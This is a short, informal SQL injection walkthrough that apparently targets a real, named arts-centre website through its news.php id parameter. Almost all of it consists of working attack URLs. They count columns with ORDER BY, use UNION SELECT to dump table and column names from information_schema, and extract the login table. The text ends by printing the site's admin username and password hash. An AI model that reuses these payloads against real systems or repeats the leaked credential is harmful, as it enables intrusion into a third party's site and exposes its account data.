Sql manual Guides

http://www.moreanartscenter.org/news.php?id=31' --------> Vul

Ok lets find it's columns :

http://www.moreanartscenter.org/news.php?id=31 Order by 1--+ No error
http://www.moreanartscenter.org/news.php?id=31 Order by 2--+ No error
http://www.moreanartscenter.org/news.php?id=31 Order by 13--+ error

means there are 12 columns lets find out vul columns by typing this

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--+

Full link :
http://www.moreanartscenter.org/news.php?id=31 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--+

So as a result we got
2
3

We got 3 vul columns :D
lets inject it ;)

type this group_concat(table_name) instead of that vul u found like "3"

and type this :  from information_schema.tables where table_schema=database()--+

instead of this --+

http://www.moreanartscenter.org/news.php?id=31 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=database()--+



as a result :

advertisements,category,classes,cms,day,length,login,medium,menu,news,side_content,skill,static,tag

we got all tables Ok now here i am going to inject login :D

But before that goto this site :

http://www.asciitohex.com/

and converte login into Hexadecimal

6c 6f 67 69 6e

remove the space

6c6f67696e

Ok now we have to type group_concat(column_name) instead of group_concat(table_name)

and

from information_schema.columns where table_name=0xhex_number_of_table--+

instead of

from information_schema.tables where table_schema=database()--+

Ok so it would look like this :

http://www.moreanartscenter.org/news.php?id=31 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12 from information_schema.columns where table_name=0x6c6f67696e--+

login_id,login_username,login_password,login_level,login_name,login_email,login_date

As You can see we got all columns :D

Now we just need to inject login_username,login_password

Ok so in this link :

UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12 remove column_name and type login_username,login_password

and type login--+

instead of from information_schema.columns where table_name=0x6c6f67696e--+

full link :
http://www.moreanartscenter.org/news.php?id=31 UNION SELECT 1,2,group_concat(login_username,login_password),4,5,6,7,8,9,10,11,12 from login--+



as a result admin pass found :D

Username : admin
Password : fd0057ef2fddb7618e3ab11412bfcc6d